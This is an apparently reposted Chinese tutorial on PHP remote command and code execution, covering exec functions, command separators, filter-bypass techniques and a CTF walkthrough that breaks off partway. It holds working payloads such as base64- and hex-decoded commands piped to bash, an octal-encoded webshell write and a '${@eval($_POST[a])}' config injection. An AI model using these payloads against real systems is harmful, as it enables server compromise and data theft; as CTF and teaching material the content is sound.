远程命令/代码执行漏洞(RCE)总结

您所在的位置:网站首页 strreplace函数 远程命令/代码执行漏洞(RCE)总结

远程命令/代码执行漏洞(RCE)总结

2024-02-06 07:10| 来源: 网络整理| 查看: 265

文章目录 介绍PHP命令执行函数PHP代码执行函数命令拼接符命令执行的一些绕过技巧绕过str_replace()函数空格被过滤绕过用编码来绕过关键字过滤URL编码绕过Base64编码绕过Hex编码绕过Oct编码绕过: 用偶读拼接绕过关键字过滤用 %0a 绕过命令连接符花括号{command,}的别样用法用内联执行绕过关键字过滤用引号绕过关键字过滤用通配符绕过关键字过滤用反斜杠绕过关键字过滤用[]匹配绕过关键字过滤无回显的命令执行方法一:反弹shell方法二:msf反向回连 利用RCE反弹ShellNetCat 一句话反弹ShellBash反弹shell assert()函数命令执行preg_replace() /e命令执行PHP中双引号引起的命令执行漏洞实例:Kuwebs代码审计 CTF 例题[GXYCTF2019]Ping Ping Ping[BJDCTF2020]ZJCTF-不过如此 附录:

介绍

Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

漏洞危害

继承Web服务器程序的权限,去执行系统命令继承Web服务器程序的权限,读写文件反弹shell控制整个网站甚至控制整个服务器 PHP命令执行函数

1. system() :

system — 执行外部程序(命令行),并且显示输出 这个函数会将结果直接进行输出 (注意:是直接输出区别于返回值,因为这个,我一般不用它),命令成功后返回输出的最后一行,失败返回FALSE

2. shell_exec():

shell_exec — 通过 shell 环境执行命令 ( 这就意味着这个方法只能在 linux 或 mac os的shell环境中运行 ),并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。

3. exec():

exec — 执行一个外部程序 返回命令执行结果的最后一行内容。不显示回显。如果想要获取命令的输出内容, 请确保使用 output 参数,或者利用这个函数来构建反弹shell。

exec()函数基本用法: exec ( string $command [, array &$output [, int &$return_var ]] ); $command:表示要执行的命令。 $output:如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。

4. passthru():

passthru — 执行外部程序并且显示原始输出。

其他:

5. 反引号

`命令`

反引号可以用来在PHP代码中直接执行系统命令,但是想要回显的话还需要一个 echo:

image-20210320154246297

如果题目代码中没有 echo,所以我们需要配合curl并使用VPS进行外带。

6. 花括号

{command,}

image-20200915203939280

7.echo命令

echo ls|sh echo cat /flag|bash PHP代码执行函数

代码执行漏洞与命令执行漏洞具有相通性。 利用系统函数实现命令执行,在php下,允许命令执行的函数有: eval()、assert()、preg_replace()、**${}**等等,以后遇到在继续补充。 如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞。

注意: ${}执行代码(在 双引号 中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。) 方法:${php代码}

${phpinfo()}; 命令拼接符

windows或linux下:

command1 ; command2 : 先执行command1后执行comnand2 command1 & command2 : 先执行comnand2后执行command1 command1 && command2 : 先执行command1后执行comnand2 command1 | command2 : 只执行command2 command1 || command2 : command1执行失败, 再执行command2(若command1执行成功,就不再执行command2)

在RCE中就是靠这些连接符来构造并执行恶意命令的。

命令执行的一些绕过技巧 绕过str_replace()函数

双写绕过

空格被过滤绕过

空格可以用以下字符串代替:

< 、、%09(tab键)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag}

$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

image-20200915204549061

image-20200915204520884

用编码来绕过关键字过滤

这种绕过针对的是系统过滤敏感字符的时候,比如他过滤了cat命令、flag字符,那么就可以用下面这种方式将cat等先进行编码后再进行解码运行。

URL编码绕过

关于$_SERVER['QUERY_STRING'],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。

Base64编码绕过

linux base64讲解: 用法:base64 [选项]… [文件] 使用 Base64 编码/解码文件或标准输入/输出。 -d, --decode 解码数据 -w, --wrap=字符数 在指定的字符数后自动换行(默认为76),0 为禁用自动换行 实例:

[root@localhost ~]# echo test|base64 加密 dGVzdAo= [root@localhost ~]# echo dGVzdAo= |base64 -d 解密 test

绕过利用:("引号不是必须)

echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码 echo "Y2F0IC9mbGFn"|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码 echo "bHM="|base64 -d|sh 将执行ls

image-20200915210830083

Hex编码绕过

道理与上面相同

利用linux xxd命令。xxd 命令可以将指定文件或标准输入以十六进制转储,也可以把十六进制转储转换成原来的二进制形式。 -r参数:逆向转换。将16进制字符串表示转为实际的数

echo "636174202f666c6167"|xxd -r -p|bash 将执行cat /flag

也可以用 $() 的形式直接内联执行:

$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 执行cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flag Oct编码绕过: $(printf "\154\163") 执行ls

image-20200915211649575

可以通过这样来写webshell,内容为

// : ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php // 需要有写权限

$() 可以像反引号一样用于内联执行,后面会说到,这里注意一下。

用偶读拼接绕过关键字过滤

为了绕过敏感字符(或黑名单),除了用以上说的编码绕过外,还可以用命令偶读拼接绕过。

构造payload,来进行偶读拼接绕过:

?ip=127.0.0.1;a=l;b=s;$a$b ?ip=127.0.0.1;a=fl;b=ag;cat /$a$b;

image-20200915214109095

原理如下:

image-20200930120008435

即在Linux中,命令是可以拼接执行的。但要注意,这样是不能执行的:

?ip=127.0.0.1;a=l;b=s;$a$b 用 %0a 绕过命令连接符

当题目代码将一下字符全部过滤后:

[ $ { } ` ; & | ( ) \ ' ~ ! @ # % ^ * [ ] \\ : - _ ]

我们可以用 %0a 进行绕过,%0a 代表换行的意思,通过 %0a 能够注入新的一条命令进行执行:

?ip=127.0.0.1%0als ?ip=127.0.0.1%0acat /flag 花括号{command,}的别样用法

在Linux bash中还可以使用花括号{OS_COMMAND,ARGUMENT}来执行系统命令,

注意:别忘了{,}里面的逗号,如{ls}这个不能执行,必须要{ls,}这样。

用内联执行绕过关键字过滤

命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的反引号作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。linux下反引号``里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令(就是将反引号内命令的输出作为输入执行),类似于|管道

例如:

echo "a`pwd`"

还有

?ip=127.0.0.1;cat$IFS$9`ls`

于此类似的还有$(command)

例如:echo "abcd $(pwd)"

用引号绕过关键字过滤

实例代码:

在这道题条件中,preg_replace函数中的参数只有$subject使我们可控的,而$replacement是不可控的,那我们我们怎么篡改$replacement呢,就要利用反向引用的知识:

反向引用,就是依靠子表达式的记忆功能来匹配连续出现的字串或字母。表达式在匹配时,表达式引擎会将小括号 “( )” 包含的表达式所匹配到的字符串记录下来。在获取匹配结果的时候,小括号包含的表达式所匹配到的字符串可以用序号来单独获取。 “\1” 引用第1对括号内匹配到的字符串,”\2” 引用第2对括号内匹配到的字符串……以此类推。在正则(.+)\1中,\1等于(.+)中匹配到的值,也就是连续2次相同的值。 如匹配连续两个it,首先将单词it作为分组,然后再后面加上“\1”即可,格式为:(it)\1 如果要匹配的字串不固定,那么就将括号内的字串写成一个正则表达式。如果使用了多个分组,那么可以用“\1”,“\2”来表示每个分组(顺序从左到右)。如:([a-z])(A-Z)\1\2

知道了反向引用的知识后,我们够早的payload:

?str=[phpinfo();]

?str=[system('cat /flag');]

image-20200916130943948

实例2:

哼哼,这个就不再多说了。

PHP中双引号引起的命令执行漏洞

在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题。

举个简单例子:

可以看到这两个输出的结果并不相同。

重点:在双引号中倘若有${}出现,那么{}中的内容将被当做php代码块来执行。

img

可以看到成功执行了phpinfo()

试想一下,倘若在一个cms的后台,如果可以修改数据库的配置文件,且配置文件中的值用双引号包括 ,我们虽然也可以直接闭合代码达到getshell的后果,但是如果cms对传递的参数进行了addlashes()处理的话,我们就无法去闭合代码了,但这时我们可以传入${命令}就可以达到getshell的目的。

现在,让我们来修改一下代码,让我们不只能输出phpinfo

//@是用来防止输出错误信息的

在这里插入图片描述

菜刀成功连接。

对于这种漏洞的防御,一定要明确单引号与双引号的区别所在,不要简单认为两者是互相可以替代的,在平时的代码书写中能只用单引号一定不要用双引号,毕竟单引号的解释时间也比双引号少得多,代码运行相对更快。

实例:Kuwebs代码审计

在代码审计一书中提到Kuwebs的配置文件中可以利用PHP可变变量的特性执行代码

我们先下载Kuwebs的源代码,下载了之后简单看一下配置文件,发现书中的代码在config.inc.php文件中

在这里插入图片描述

这里只是演示PHP会对引号内的内容进行解释,而不考虑实际情况中我们能否修改config.inc.php文件

我们将kuWebsiteURL修改为

$kuWebsiteURL = "${@eval($_POST[a])}";

如果PHP能够正确解释,即我们写入了一句话木马

使用菜刀成功连接,成功执行代码

在这里插入图片描述

CTF 例题 [GXYCTF2019]Ping Ping Ping

在这里插入图片描述

提示我们要在url中查询ip,我们先看一下目录下又什么东东: 发现&被过滤了:

在这里插入图片描述

我们可以用|、||、“ ; ”:

在这里插入图片描述

发现有个flag.php,我们尝试查看flag.php:/?ip=127.0.0.1;cat flag.php,却发现空格被过滤了

在这里插入图片描述

绕过空格的方法大概有以下几种:

$IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 $IFS$9


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3